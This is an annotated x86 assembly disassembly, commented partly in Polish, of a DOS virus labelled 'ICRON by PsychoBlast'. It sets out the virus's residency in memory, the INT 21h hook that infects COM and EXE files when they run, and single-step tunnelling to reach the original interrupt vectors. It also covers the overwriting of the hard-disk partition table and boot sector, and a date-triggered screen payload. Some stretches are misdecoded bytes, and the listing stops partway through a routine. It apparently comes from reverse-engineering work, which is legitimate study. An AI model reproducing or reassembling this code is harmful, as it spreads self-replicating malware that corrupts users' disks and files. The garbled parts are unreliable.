S0000	SEGMENT
	ASSUME DS:S0000, SS:S0000 ,CS:S0000 ,ES:S0000
	ORG	100h

	JMP	L9BD6				;0100 E9 D3 9A

;-------
;	zainfekowany program
	org	93B5h
;-------

;<------ czesc zakodowana -----------------------
L93B5:	CLI					;93B5 FA
	XOR	AX,AX				;93B6 33 C0
	MOV	SS,AX				;93B8 8E D0
	MOV	SP,7C00h			;93BA BC 00 7C
	STI					;93BD FB
	MOV	AX,3				;93BE B8 03 00
	CALL	L93E3				;93C1 E8 1F 00
	PUSH	ES				;93C4 06
	MOV	AX,42H		;L93F7		;93C5 B8 42 00
	PUSH	AX				;93C8 50
	MOV	AX,07C0h			;93C9 B8 C0 07
	MOV	DS,AX				;93CC 8E D8
	MOV	AX,0205h	;read 5 sectors into memory	;93CE B8 05 02
	MOV	CX,DS:2AH	;L93DF trk/sec			;93D1 8B 0E 2A 00
	INC	CX						;93D5 41
	MOV	DX,DS:2CH	;L93E1 head/drive		;93D6 8B 16 2C 00
	INT	13H						;93DA CD 13
	RET_FAR			;-> L93F7			;93DC CB

L93DD:	ADD	SI,DI				;93DD 01 FE
V002A	dw	0DB8Ch		;731 trk / 12 sec		;93DF 8C DB
V002C	dw	00680h		; 6 head / 80h drv		;93E1 80 06

;------------------------------------------------
;	podprogram
;------------------------------------------------
L93E3:	???					;93E3 33 DB 33
	DEC	WORD PTR [BP+L26C3]		;93E6 FF 8E C3 26
	SUB	L0413,AX			;93EA 29 06 13 04
	INT	12H		;get memory size (in 1K blocks)	;93EE CD 12
	MOV	CL,6				;93F0 B1 06
	SHL	AX,CL		;KB -> paragrph		;93F2 D3 E0
	MOV	ES,AX				;93F4 8E C0
	RET_NEAR				;93F6 C3

;------------------------------------------------
;	ciag dalszy
L93F7:	PUSH	CS				;93F7 0E
	POP	DS				;93F8 1F
	XOR	AX,AX				;93F9 33 C0
	MOV	ES,AX				;93FB 8E C0
	MOV	BX,OFFSET L7C00			;93FD BB 00 7C
	PUSH	AX				;9400 50
	PUSH	BX				;9401 53
	MOV	AX,0201h	;read 1 sector into memory	;9402 B8 01 02
	MOV	CX,DS:2AH			;9405 8B 0E 2A 00
	MOV	DX,DS:2CH			;9409 8B 16 2C 00
	INT	13H				;940D CD 13
	MOV	AX,L0867			;940F A1 67 08
	DEC	AX				;9412 48
	CMP	AX,0CH				;9413 3D 0C 00
	JBE	L943D				;9416 76 25
	MOV	AX,1200h	;return EGA information		;9418 B8 00 12
	MOV	BX,0FF10h					;941B BB 10 FF
	INT	10H						;941E CD 10
	OR	BH,BH						;9420 0A FF
	JNZ	L943D		;-> monochrome			;9422 75 19
	MOV	AH,4		;read Real Time Clock date	;9424 B4 04
	INT	1AH				;9426 CD 1A
	CMP	DL,2				;9428 80 FA 02
	JNZ	L943D				;942B 75 10
	MOV	AX,4				;942D B8 04 00
	CALL	L93E3				;9430 E8 B0 FF
	CALL	L95AA				;9433 E8 74 01
	MOV	BYTE PTR DS:0E9H,0		;9436 C6 06 E9 00 00
	JMP	SHORT	L9442			;943B EB 05

L943D:	MOV	BYTE PTR DS:0E9H,1		;943D C6 06 E9 00 01
	CLI					;9442 FA
	XOR	AX,AX				;9443 33 C0
	MOV	ES,AX				;9445 8E C0
	LES	BX,DWORD PTR ES:70H	;int 1Ch	;9447 26 C4 1E 70 00
	MOV	DS:0D7H,BX			;944C 89 1E D7 00
	MOV	DS:0D9H,ES			;9450 8C 06 D9 00
	MOV	ES,AX				;9454 8E C0
	LES	BL,DWORD PTR ES:84H	;int 21h	;9456 26 C4 1E 84 00
	MOV	L0863,BX			;945B 89 1E 63 08
	MOV	L0865,ES			;945F 8C 06 65 08
	MOV	ES,AX				;9463 8E C0
	MOV	WORD PTR ES:70H,OFFSET L0398	;9465 26 C7 06 70 00 98 03
	MOV	ES:72H,DS	;'r'		;946C 26 8C 1E 72 00
	STI					;9471 FB
	RET_FAR					;9472 CB

V00BE	db	0		;0=COM				;9473 00
V00BF	db	0E9h,01Dh	;saved original pgm bytes	;9474 E9 1D
	db	1Ah						;9476 1A

V00C2	dw	0100h		;dword victim entry point	;9477 00 01
V00C4	dw	0000h	;rel					;9479 00 00

V00C6	dw	0000h	;rel	;victim stack segment		;947B 00 00

	???					;947D 87 0C 52
	WAIT					;9480 9B
	ADD	[BX+SI],AH			;9481 00 20
	ADD	[BX+SI],DH			;9483 00 30
	ADC	AL,[BX+SI]			;9485 12 00
	DB	60H	??			;9487 60
	ADD	[BX+SI],AL			;9488 00 00
	ADD	[BX+SI],AL			;948A 00 00
	PUSH	BX				;948C 53
	INC	WORD PTR [BX+SI]		;948D FF 00
	LOCK	PUSH	SS			;948F F0 16
	POP	SS				;9491 17
	DB	0C1H	??			;9492 C1
	ADD	BH,[BX+39H]			;9493 02 7F 39
	PUSH	DX				;9496 52
	WAIT					;9497 9B
	ADC	[BX+SI],AL			;9498 10 00
	ADD	[BP+SI],AL			;949A 00 02
	INC	SP				;949C 44
	INT	3				;949D CC

V00E9	db	1				;949E 01

	???					;949F 00
	ADD	DS:0,CL				;94A0 00 0E 00 00
	ADD	[BX+SI],AX			;94A4 01 00
	ADD	[SI],BL				;94A6 00 1C
	ADD	[BX+SI],AL			;94A8 00 00
	ADD	[BX+DI],BL			;94AA 00 19
	ADD	AL,[BP+DI]			;94AC 02 03
	DEC	WORD PTR [BX+4DH]		;94AE FF 4F 4D
	DB	'ICRON by PsychoBlast'		;94B1 49 43 52 4F 4E 20 62 79 20 50 73 79 63 68 6F 42

;================================================================
;<------punkt startowy po rozkodowaniu wirusa na programie ------

L94C5:	CALL	L94C8		;pobranie bazy wirusa		;94C5 E8 00 00
L94C8:	POP	SI						;94C8 5E
	SUB	SI,113h		;SI = offset poczatku wirusa	;94C9 81 EE 13 01
	PUSH	SI						;94CD 56
	PUSH	AX						;94CE 50
	PUSH	ES						;94CF 06
	PUSH	CS						;94D0 0E
	POP	DS						;94D1 1F
	MOV	AX,ES						;94D2 8C C0
	ADD	[SI+DS:0C4H],AX	;L9479	victim CS relocation	;94D4 01 84 C4 00
	ADD	[SI+DS:0C6H],AX	;L947B	victim SS relocation	;94D8 01 84 C6 00
	CMP	BYTE PTR [SI+DS:0BEH],0	;L9473 COM ?		;94DC 80 BC BE 00 00
	JNZ	L94F1			;->    EXE		;94E1 75 0E
	MOV	AX,[SI+DS:0BFH]		;L9474 saved pgm bytes	;94E3 8B 84 BF 00
	MOV	ds:[100h],AX					;94E7 A3 00 01
	MOV	AL,[SI+DS:0C1H]		;L9476			;94EA 8A 84 C1 00
	MOV	ds:[102h],AL					;94EE A2 02 01
L94F1:	MOV	AX,0FE01h		;computer infected ?	;94F1 B8 01 FE
	INT	21H						;94F4 CD 21
	CMP	AX,01FEh		;= 510			;94F6 3D FE 01
	JZ	L9542			;-> computer infected	;94F9 74 47
	CMP	BYTE PTR [SI+DS:0BEH],0	;L9473 *.COM ?		;94FB 80 BC BE 00 00
	JNZ	L9507			;-> nie			;9500 75 05
	CMP	SP,0FFF0h		;enought memory ?	;9502 83 FC F0
	JB	L9542			;-> not			;9505 72 3B
L9507:	MOV	AX,ES						;9507 8C C0
	DEC	AX						;9509 48
	MOV	ES,AX			;arena header segment	;950A 8E C0
	CMP	BYTE PTR ES:0,'Z'	;last memory block ?	;950C 26 80 3E 00 00 5A
	JNZ	L9542			;-> no			;9512 75 2E
	MOV	AX,ES:3			;block 			;9514 26 A1 03 00
	SUB	AX,0A7H			;= 2672 byte		;9518 2D A7 00
	JB	L9542			;-> not enought memory	;951B 72 25
	MOV	ES:3,AX						;951D 26 A3 03 00
	SUB	WORD PTR ES:12H,0A7H	;			;9521 26 81 2E 12 00 A7 00
	MOV	ES,ES:12H					;9528 26 8E 06 12 00
	XOR	DI,DI						;952D 33 FF
	MOV	CX,0869h		;virus length = 2153	;952F B9 69 08
	CLD							;9532 FC
	REPZ	MOVSB						;9533 F3 A4
	PUSH	ES			;virus area segment	;9535 06
	POP	DS						;9536 1F
	MOV	BYTE PTR DS:0E9H,1	;L949E			;9537 C6 06 E9 00 01
	CALL	L95FB						;953C E8 BC 00
	CALL	L96C6						;953F E8 84 01

	;<------ end of virus job
L9542:	POP	ES						;9542 07
	POP	AX						;9543 58
	PUSH	ES						;9544 06
	POP	DS						;9545 1F
	POP	SI						;9546 5E
	MOV	SS,CS:[SI+DS:0C6H]	  ;L947B victim SS	;9547 2E 8E 94 C6 00
	JMP	DWORD PTR CS:[SI+DS:0C2H] ;L9477 victim entry	;954C 2E FF AC C2 00


L9551:	PUSH	AX				;9551 50
	PUSH	CX				;9552 51
	PUSH	DX				;9553 52
	MOV	AH,2		;read Real Time Clock time	;9554 B4 02
	INT	1AH				;9556 CD 1A
	CMP	CH,10H				;9558 80 FD 10
	JNZ	L95A6				;955B 75 49
	PUSH	BX				;955D 53
	PUSH	ES				;955E 06
	PUSH	DS				;955F 1E
	PUSH	CS				;9560 0E
	POP	DS				;9561 1F
	MOV	BYTE PTR DS:0E9H,1		;9562 C6 06 E9 00 01
	MOV	AX,3510h	;get int 10h vector		;9567 B8 10 35
	INT	21H				;956A CD 21
	MOV	DS:0D3H,BX			;956C 89 1E D3 00
	MOV	DS:0D5H,ES			;9570 8C 06 D5 00
	MOV	AX,2510h	;set int 10 vector		;9574 B8 10 25
	MOV	DX,03E7h	;= offset L979C			;9577 BA E7 03
	INT	21H				;957A CD 21
	MOV	AH,3		;read cursor position		;957C B4 03
	XOR	BH,BH		;page		;957E 32 FF
	INT	10H				;9580 CD 10
	XOR	AX,AX				;9582 33 C0
	MOV	ES,AX				;9584 8E C0
	MOV	CX,CS				;9586 8C C9
	SUB	CX,OFFSET L0100			;9588 81 E9 00 01
	MOV	ES:L04A8,AX			;958C 26 A3 A8 04
	MOV	ES:L04AA,CX			;9590 26 89 0E AA 04
	MOV	AL,ES:L0449			;9595 26 A0 49 04
	ADD	AL,80H				;9599 04 80
	XOR	AH,AH		;set video mode			;959B 32 E4
	INT	10H				;959D CD 10
	MOV	AH,2		;set cursor position		;959F B4 02
	INT	10H				;95A1 CD 10
	POP	DS				;95A3 1F
	POP	ES				;95A4 07
	POP	BX				;95A5 5B
	POP	DX				;95A6 5A
	POP	CX				;95A7 59
	POP	AX				;95A8 58
	RET_NEAR				;95A9 C3

L95AA:	PUSH	DS				;95AA 1E
	XOR	AX,AX				;95AB 33 C0
	MOV	DS,AX				;95AD 8E D8
	LDS	SI,DWORD PTR L04A8		;95AF C5 36 A8 04
	MOV	CX,OFFSET LB31C			;95B3 B9 1C B3
	POP	DI				;95B6 5F
	DB	'AMSESLIFVASRORIMESAEP'		;95B7 41 4D 53 45 53 4C 49 46 56 41 53 52 4F 52 49 4D
	MOV	BYTE PTR [BX],1EH		;95CC C6 07 1E
	OR	AX,[BP+DI]			;95CF 0B 03
	ADC	[BX+SI],AX			;95D1 11 00
	ADD	[BX+SI],AL			;95D3 00 00
	ADD	[BX+SI],AL			;95D5 00 00
	ADD	[BX+SI],AL			;95D7 00 00
	ADD	[BX+DI+DS:0EH],BH		;95D9 00 B9 0E 00
	ADD	DI,0DH				;95DD 83 C7 0D
	LODSB					;95E0 AC
	XOR	AH,AH				;95E1 32 E4
	MOV	BL,8				;95E3 B3 08
	SHR	AL,1				;95E5 D0 E8
	RCL	AH,1				;95E7 D0 D4
	DEC	BL				;95E9 FE CB
	JNZ	L95E5				;95EB 75 F8
	MOV	ES:[DI],AH			;95ED 26 88 25
	DEC	DI				;95F0 4F
	LOOP	L95E0				;95F1 E2 ED
	ADD	DI,0FH				;95F3 83 C7 0F
	DEC	DX				;95F6 4A
	JNZ	L95DA				;95F7 75 E1
	POP	DS				;95F9 1F
	RET_NEAR				;95FA C3

;------------------------------------------------
;	Podprogram fazy rezydowania
;------------------------------------------------
L95FB:	MOV	AX,3513h	;get int 13h vector		;95FB B8 13 35
	INT	21H						;95FE CD 21
	MOV	L0863,BX		;L9C18			;9600 89 1E 63 08
	MOV	L0865,ES		;L9C1A			;9604 8C 06 65 08
	MOV	WORD PTR L037D,100h	;L9732	ptr single step	;9608 C7 06 7D 03 00 01
	MOV	AX,OFFSET L0201			;960E B8 01 02
	MOV	BX,OFFSET L0869			;9611 BB 69 08
	MOV	CX,1				;9614 B9 01 00
	MOV	DX,80H				;9617 BA 80 00
	PUSH	DS				;961A 1E
	POP	ES				;961B 07
	CALL	L96EF				;961C E8 D0 00
	CMP	WORD PTR [BX+DS:28H],0FE01h	;961F 81 BF 28 00 01 FE
	JZ	L9641				;9625 74 1A
	ADD	BX,OFFSET L01BE			;9627 81 C3 BE 01
	MOV	CL,4				;962B B1 04
	MOV	AL,[BX+4]			;962D 8A 47 04
	CMP	AL,4				;9630 3C 04
	JZ	L9644				;9632 74 10
	CMP	AL,6				;9634 3C 06
	JZ	L9644				;9636 74 0C
	CMP	AL,1				;9638 3C 01
	JZ	L9644				;963A 74 08
	ADD	BX,10H				;963C 83 C3 10
	LOOP	L962D				;963F E2 EC
	JMP	L96C5				;9641 E9 81 00

L9644:	MOV	DH,[BX+5]			;9644 8A 77 05
	MOV	DS:2CH,DX	;','		;9647 89 16 2C 00
	MOV	AX,[BX+6]			;964B 8B 47 06
	MOV	CX,AX				;964E 8B C8
	MOV	SI,6				;9650 BE 06 00
	AND	AX,3FH	;'?'			;9653 25 3F 00
	CMP	AX,SI				;9656 3B C6
	JBE	L96C5				;9658 76 6B
	SUB	CX,SI				;965A 2B CE
	MOV	[BX+6],CX			;965C 89 4F 06
	INC	CX				;965F 41
	MOV	DS:2AH,CX	;'*'		;9660 89 0E 2A 00
	SUB	[BX+0CH],SI			;9664 29 77 0C
	SBB	WORD PTR [BX+0EH],0		;9667 83 5F 0E 00
	MOV	BP,BX				;966B 8B EB
	MOV	AX,OFFSET L0301			;966D B8 01 03
	MOV	BX,OFFSET L0869			;9670 BB 69 08
	PUSHF					;9673 9C
	CALL	DWORD PTR	L0863		;9674 FF 1E 63 08
	JB	L96C5				;9678 72 4B
	MOV	AX,OFFSET L0305			;967A B8 05 03
	MOV	BX,0				;967D BB 00 00
	INC	CX				;9680 41
	PUSHF					;9681 9C
	CALL	DWORD PTR	L0863		;9682 FF 1E 63 08
	JB	L96C5				;9686 72 3D
	MOV	SI,0				;9688 BE 00 00
	MOV	DI,OFFSET L0869			;968B BF 69 08
	MOV	CX,42H	;'B'			;968E B9 42 00
	CLD					;9691 FC
	REPZ	MOVSB				;9692 F3 A4
	MOV	AX,OFFSET L0301			;9694 B8 01 03
	MOV	BX,OFFSET L0869			;9697 BB 69 08
	MOV	CX,1				;969A B9 01 00
	XOR	DH,DH				;969D 32 F6
	PUSHF					;969F 9C
	CALL	DWORD PTR	L0863		;96A0 FF 1E 63 08
	JB	L96C5				;96A4 72 1F
	MOV	AX,OFFSET L0201			;96A6 B8 01 02
	MOV	CX,DS:[BP+2]			;96A9 3E 8B 4E 02
	MOV	DH,DS:[BP+1]			;96AD 3E 8A 76 01
	PUSHF					;96B1 9C
	CALL	DWORD PTR	L0863		;96B2 FF 1E 63 08
	JB	L96C5				;96B6 72 0D
	SUB	WORD PTR [BX+13H],6		;96B8 83 6F 13 06
	NOP					;96BC 90
	MOV	AX,OFFSET L0301			;96BD B8 01 03
	PUSHF					;96C0 9C
	CALL	DWORD PTR	L0863		;96C1 FF 1E 63 08
	RET_NEAR				;96C5 C3

;------------------------------------------------
;	Podprogram fazy rezydowania
;------------------------------------------------
L96C6:	MOV	AX,3521h	;get int 21h vector	;96C6 B8 21 35
	INT	21H				;96C9 CD 21
	MOV	DS:0DBH,BX			;96CB 89 1E DB 00
	MOV	DS:0DDH,ES			;96CF 8C 06 DD 00
	MOV	L0863,BX			;96D3 89 1E 63 08
	MOV	L0865,ES			;96D7 8C 06 65 08
	MOV	WORD PTR L037D,OFFSET L0320	;96DB C7 06 7D 03 20 03
	MOV	AH,30H	;'0'			;96E1 B4 30
	CALL	L96EF				;96E3 E8 09 00
	MOV	AX,2521h	;set int 21h vector	;96E6 B8 21 25
	MOV	DX,0473h	;=offset L9828		;96E9 BA 73 04
	INT	21H				;96EC CD 21
	RET_NEAR				;96EE C3

;------------------------------------------------
;	Podprogram fazy rezydowania
;------------------------------------------------
L96EF:	PUSH	AX				;96EF 50
	PUSH	BX				;96F0 53
	PUSH	DX				;96F1 52
	PUSH	ES				;96F2 06
	MOV	AX,3501h	;get int 1 vector (single step)	;96F3 B8 01 35
	INT	21H				;96F6 CD 21
	MOV	SI,BX				;96F8 8B F3
	MOV	DI,ES				;96FA 8C C7
	MOV	AX,2501h	;set int 1 vector (single step)	;96FC B8 01 25
	MOV	DX,0377h	;= offset L972C		;96FF BA 77 03
	INT	21H				;9702 CD 21
	PUSHF					;9704 9C
	POP	AX				;9705 58
	OR	AX,OFFSET L0100			;9706 0D 00 01
	PUSH	AX				;9709 50
	POPF					;970A 9D
	POP	ES				;970B 07
	POP	DX				;970C 5A
	POP	BX				;970D 5B
	POP	AX				;970E 58
	CLI					;970F FA
	PUSHF					;9710 9C
	CALL	DWORD PTR	L0863		;9711 FF 1E 63 08
	PUSH	AX				;9715 50
	PUSH	DX				;9716 52
	PUSH	DS				;9717 1E
	PUSHF					;9718 9C
	POP	AX				;9719 58
	AND	AX,OFFSET LFEFF			;971A 25 FF FE
	PUSH	AX				;971D 50
	POPF					;971E 9D
	MOV	AX,2501h	;restore int 1 vector	;971F B8 01 25
	MOV	DX,SI				;9722 8B D6
	MOV	DS,DI				;9724 8E DF
	INT	21H				;9726 CD 21
	POP	DS				;9728 1F
	POP	DX				;9729 5A
	POP	AX				;972A 58
	RET_NEAR				;972B C3

;------------------------------------------------
;	New int 1 (singl step) handling routine
;------------------------------------------------
L972C:	PUSH	BP				;972C 55
	MOV	BP,SP				;972D 8B EC
	CMP	WORD PTR [BP+4],100h		;972F 81 7E 04 00 01
V037D	equ	$-2			;dla wpisywania wartosci
	JA	L974B				;9734 77 15
	PUSH	AX				;9736 50
	PUSH	ES				;9737 06
	LES	AL,DWORD PTR [BP+2]		;9738 C4 46 02
	MOV	CS:L0863,AX			;973B 2E A3 63 08
	MOV	CS:L0865,ES			;973F 2E 8C 06 65 08
	POP	ES				;9744 07
	POP	AX				;9745 58
	AND	WORD PTR [BP+6],OFFSET LFEFF	;9746 81 66 06 FF FE
	POP	BP				;974B 5D
	IRET					;974C CF

L974D:	PUSH	ES				;974D 06
	PUSH	BX				;974E 53
	PUSH	AX				;974F 50
	XOR	AX,AX				;9750 33 C0
	MOV	ES,AX				;9752 8E C0
	LES	BL,DWORD PTR ES:84H		;9754 26 C4 1E 84 00
	MOV	AX,ES				;9759 8C C0
	CMP	AX,CS:L0865			;975B 2E 3B 06 65 08
	JNZ	L9769				;9760 75 07
	CMP	BX,CS:L0863			;9762 2E 3B 1E 63 08
	JZ	L9798				;9767 74 2F
	PUSH	DS				;9769 1E
	PUSH	CS				;976A 0E
	POP	DS				;976B 1F
	MOV	DS:0DBH,BX			;976C 89 1E DB 00
	MOV	DS:0DDH,ES			;9770 8C 06 DD 00
	MOV	L0863,BX			;9774 89 1E 63 08
	MOV	L0865,ES			;9778 8C 06 65 08
	XOR	AX,AX				;977C 33 C0
	MOV	DS,AX				;977E 8E D8
	MOV	WORD PTR DS:84H,OFFSET L0473	;9780 C7 06 84 00 73 04
	MOV	DS:86H,CS			;9786 8C 0E 86 00
	LES	BL,DWORD PTR CS:0D7H		;978A 2E C4 1E D7 00
	MOV	DS:70H,BX	;'p'		;978F 89 1E 70 00
	MOV	DS:72H,ES	;'r'		;9793 8C 06 72 00
	POP	DS				;9797 1F
	POP	AX				;9798 58
	POP	BX				;9799 5B
	POP	ES				;979A 07
	IRET					;979B CF

;------------------------------------------------
;	New int 10 handling routine
;------------------------------------------------
L979C:	PUSHF					;979C 9C
	OR	AH,AH				;979D 0A E4
	JNZ	L97D6				;979F 75 35
	PUSH	AX				;97A1 50
	PUSH	DX				;97A2 52
	PUSH	DS				;97A3 1E
	PUSH	CS				;97A4 0E
	POP	DS				;97A5 1F
	AND	AL,7FH				;97A6 24 7F
	CMP	AL,3				;97A8 3C 03
	JA	L97C0				;97AA 77 14
	CMP	AL,2				;97AC 3C 02
	JB	L97C0				;97AE 72 10
	MOV	WORD PTR DS:0EAH,0		;97B0 C7 06 EA 00 00 00
	MOV	AX,251Ch	;set int 1Ch (user timer tick)	;97B6 B8 1C 25
	MOV	DX,0427h	;= offset L97DC			;97B9 BA 27 04
	INT	21H				;97BC CD 21
	JMP	SHORT	L97D3			;97BE EB 13

L97C0:	MOV	AX,251Ch	;set int 1Ch (user timer tick)	;97C0 B8 1C 25
	MOV	DX,0820h	;= offset L9BD5			;97C3 BA 20 08
	INT	21H				;97C6 CD 21
	MOV	DX,OFFSET L03D4			;97C8 BA D4 03
	MOV	AX,0CH				;97CB B8 0C 00
	OUT	DX,AX				;97CE EF
	MOV	AX,0DH				;97CF B8 0D 00
	OUT	DX,AX				;97D2 EF
	POP	DS				;97D3 1F
	POP	DX				;97D4 5A
	POP	AX				;97D5 58
	POPF					;97D6 9D
	JMP	DWORD PTR	CS:0D3H		;97D7 2E FF 2E D3 00

;------------------------------------------------
;	set int 1Ch (user timer tick) handling routine
;------------------------------------------------
L97DC:	PUSH	DS				;97DC 1E
	PUSH	ES				;97DD 06
	PUSH	SI				;97DE 56
	PUSH	DI				;97DF 57
	PUSH	AX				;97E0 50
	PUSH	CX				;97E1 51
	PUSH	DX				;97E2 52
	MOV	DX,OFFSET L03D4			;97E3 BA D4 03
	MOV	AX,OFFSET L100C			;97E6 B8 0C 10
	OUT	DX,AX				;97E9 EF
	MOV	AX,0DH				;97EA B8 0D 00
	OUT	DX,AX				;97ED EF
	MOV	AX,OFFSET LB800			;97EE B8 00 B8
	MOV	DS,AX				;97F1 8E D8
	MOV	AX,OFFSET LBA00			;97F3 B8 00 BA
	MOV	ES,AX				;97F6 8E C0
	MOV	SI,CS:0EAH			;97F8 2E 8B 36 EA 00
	MOV	DI,OFFSET L0F9E			;97FD BF 9E 0F
	SUB	DI,SI				;9800 2B FE
	CLD					;9802 FC
	MOV	CX,OFFSET L01F4			;9803 B9 F4 01
	LODSW					;9806 AD
	MOV	ES:[DI],AX			;9807 26 89 05
	SUB	DI,2				;980A 83 EF 02
	LOOP	L9806				;980D E2 F7
	MOV	CS:0EAH,SI			;980F 2E 89 36 EA 00
	CMP	SI,OFFSET L0FA0			;9814 81 FE A0 0F
	JB	L9820				;9818 72 06
	XOR	AX,AX				;981A 33 C0
	MOV	CS:0EAH,AX			;981C 2E A3 EA 00
	POP	DX				;9820 5A
	POP	CX				;9821 59
	POP	AX				;9822 58
	POP	DI				;9823 5F
	POP	SI				;9824 5E
	POP	ES				;9825 07
	POP	DS				;9826 1F
	IRET					;9827 CF

;------------------------------------------------
;	New int 21 handling rotine
;------------------------------------------------
L9828:	PUSHF					;9828 9C
	CMP	AX,OFFSET L2521	;'%!'		;9829 3D 21 25
	JNZ	L983A				;982C 75 0C
	MOV	CS:0DBH,DX			;982E 2E 89 16 DB 00
	MOV	CS:0DDH,DS			;9833 2E 8C 1E DD 00
	JMP	SHORT	L9898			;9838 EB 5E

	CMP	AX,OFFSET L3521	;'5!'		;983A 3D 21 35
	JNZ	L9846				;983D 75 07
	LES	BL,DWORD PTR CS:0DBH		;983F 2E C4 1E DB 00
	JMP	SHORT	L9898			;9844 EB 52

L9846:	CMP	AH,4BH	;'K'			;9846 80 FC 4B
	JNZ	L9879				;9849 75 2E
	OR	AL,AL				;984B 0A C0
	JNZ	L9873				;984D 75 24
	PUSH	AX				;984F 50
	MOV	CS:0C8H,SP			;9850 2E 89 26 C8 00
	MOV	CS:0CAH,SS			;9855 2E 8C 16 CA 00
	CLI					;985A FA
	MOV	AX,CS				;985B 8C C8
	MOV	SS,AX				;985D 8E D0
	MOV	SP,OFFSET L0A69			;985F BC 69 0A
	STI					;9862 FB
	CALL	L98C8				;9863 E8 62 00
	CLI					;9866 FA
	MOV	SS,CS:0CAH			;9867 2E 8E 16 CA 00
	MOV	SP,CS:0C8H			;986C 2E 8B 26 C8 00
	STI					;9871 FB
	POP	AX				;9872 58
	POPF					;9873 9D
	JMP	DWORD PTR	CS:L0863	;9874 2E FF 2E 63 08

L9879:	CMP	AX,OFFSET LFE01			;9879 3D 01 FE
	JNZ	L9882				;987C 75 04
	NOT	AX				;987E F7 D0
	JMP	SHORT	L9898			;9880 EB 16

L9882:	CMP	BYTE PTR CS:0E9H,1		;9882 2E 80 3E E9 00 01
	JZ	L988D				;9888 74 03
	CALL	L9551				;988A E8 C4 FC
	INC	WORD PTR CS:0E7H		;988D 2E FF 06 E7 00
	POPF					;9892 9D
	JMP	DWORD PTR	CS:0DBH		;9893 2E FF 2E DB 00

L9898:	POPF					;9898 9D
	IRET					;9899 CF

L989A:	MOV	AL,3				;989A B0 03
	IRET					;989C CF

L989D:	MOV	AH,40H	;'@'			;989D B4 40
	JMP	SHORT	L98A3			;989F EB 02

L98A1:	MOV	AH,3FH	;'?'			;98A1 B4 3F
	CALL	L98BB				;98A3 E8 15 00
	JB	L98AA				;98A6 72 02
	SUB	AX,CX				;98A8 2B C1
L98AA:	RET_NEAR				;98AA C3

L98AB:	XOR	CX,CX				;98AB 33 C9
	XOR	DX,DX				;98AD 33 D2
	MOV	AX,OFFSET L4202			;98AF B8 02 42
	JMP	SHORT	L98BB			;98B2 EB 07

L98B4:	XOR	CX,CX				;98B4 33 C9
	XOR	DX,DX				;98B6 33 D2
	MOV	AX,OFFSET L4200			;98B8 B8 00 42
	MOV	BX,CS:L0861			;98BB 2E 8B 1E 61 08
	CLI					;98C0 FA
	PUSHF					;98C1 9C
	CALL	DWORD PTR	CS:L0863	;98C2 2E FF 1E 63 08
	RET_NEAR				;98C7 C3

L98C8:	PUSH	BX				;98C8 53
	PUSH	CX				;98C9 51
	PUSH	SI				;98CA 56
	PUSH	DI				;98CB 57
	PUSH	ES				;98CC 06
	PUSH	DX				;98CD 52
	PUSH	DS				;98CE 1E
	PUSH	CS				;98CF 0E
	POP	DS				;98D0 1F
	MOV	AX,OFFSET L3300			;98D1 B8 00 33
	CALL	L98C0				;98D4 E8 E9 FF
	MOV	DS:0CCH,DL			;98D7 88 16 CC 00
	MOV	AX,OFFSET L3301			;98DB B8 01 33
	XOR	DX,DX				;98DE 33 D2
	CALL	L98C0				;98E0 E8 DD FF
	MOV	AX,OFFSET L3524	;'5$'		;98E3 B8 24 35
	CALL	L98C0				;98E6 E8 D7 FF
	MOV	DS:0DFH,BX			;98E9 89 1E DF 00
	MOV	DS:0E1H,ES			;98ED 8C 06 E1 00
	MOV	AX,OFFSET L2524	;'%$'		;98F1 B8 24 25
	MOV	DX,OFFSET L04E5			;98F4 BA E5 04
	CALL	L98C0				;98F7 E8 C6 FF
	POP	DS				;98FA 1F
	POP	DX				;98FB 5A
	PUSH	DX				;98FC 52
	PUSH	DS				;98FD 1E
	MOV	AX,OFFSET L4300			;98FE B8 00 43
	CALL	L98C0				;9901 E8 BC FF
	MOV	CS:0CDH,CX			;9904 2E 89 0E CD 00
	MOV	AX,OFFSET L4301			;9909 B8 01 43
	XOR	CX,CX				;990C 33 C9
	CALL	L98C0				;990E E8 AF FF
	JB	L9990				;9911 72 7D
	MOV	AX,OFFSET L3D02			;9913 B8 02 3D
	CALL	L98C0				;9916 E8 A7 FF
	JB	L9985				;9919 72 6A
	PUSH	CS				;991B 0E
	POP	DS				;991C 1F
	MOV	L0861,AX			;991D A3 61 08
	MOV	AX,OFFSET L5700			;9920 B8 00 57
	CALL	L98BB				;9923 E8 95 FF
	JB	L996E				;9926 72 46
	MOV	DS:0CFH,DX			;9928 89 16 CF 00
	MOV	DS:0D1H,CX			;992C 89 0E D1 00
	MOV	DX,OFFSET LFFB8			;9930 BA B8 FF
	MOV	CX,0FFFF			;9933 B9 FF FF
	CALL	L98AF				;9936 E8 76 FF
	JB	L996E				;9939 72 33
	MOV	DX,OFFSET L0869			;993B BA 69 08
	MOV	CX,2				;993E B9 02 00
	CALL	L98A1				;9941 E8 5D FF
	JB	L996E				;9944 72 28
	CMP	WORD PTR L0869,OFFSET LBB0E	;9946 81 3E 69 08 0E BB
	JZ	L996E				;994C 74 20
	CALL	L98B4				;994E E8 63 FF
	JB	L996E				;9951 72 1B
	MOV	DX,OFFSET L0869			;9953 BA 69 08
	MOV	CX,1CH				;9956 B9 1C 00
	CALL	L98A1				;9959 E8 45 FF
	JB	L996E				;995C 72 10
	CMP	WORD PTR L0869,OFFSET L5A4D	;'ZM'	
						;995E 81 3E 69 08 4D 5A
	JZ	L996B				;9964 74 05
	CALL	L99AE				;9966 E8 45 00
	JMP	SHORT	L996E			;9969 EB 03

	CALL	L9A0E				;996B E8 A0 00
	MOV	AX,OFFSET L5701			;996E B8 01 57
	MOV	DX,DS:0CFH			;9971 8B 16 CF 00
	MOV	CX,DS:0D1H			;9975 8B 0E D1 00
	CALL	L98BB				;9979 E8 3F FF
	MOV	AH,3EH	;'>'			;997C B4 3E
	CALL	L98BB				;997E E8 3A FF
	POP	DS				;9981 1F
	POP	DX				;9982 5A
	PUSH	DX				;9983 52
	PUSH	DS				;9984 1E
	MOV	AX,OFFSET L4301			;9985 B8 01 43
	MOV	CX,CS:0CDH			;9988 2E 8B 0E CD 00
	CALL	L98C0				;998D E8 30 FF
	MOV	AX,OFFSET L2524	;'%$'		;9990 B8 24 25
	LDS	DX,DWORD PTR CS:0DFH		;9993 2E C5 16 DF 00
	CALL	L98C0				;9998 E8 25 FF
	MOV	AX,OFFSET L3301			;999B B8 01 33
	MOV	DL,CS:0CCH			;999E 2E 8A 16 CC 00
	CALL	L98C0				;99A3 E8 1A FF
	POP	DS				;99A6 1F
	POP	DX				;99A7 5A
	POP	ES				;99A8 07
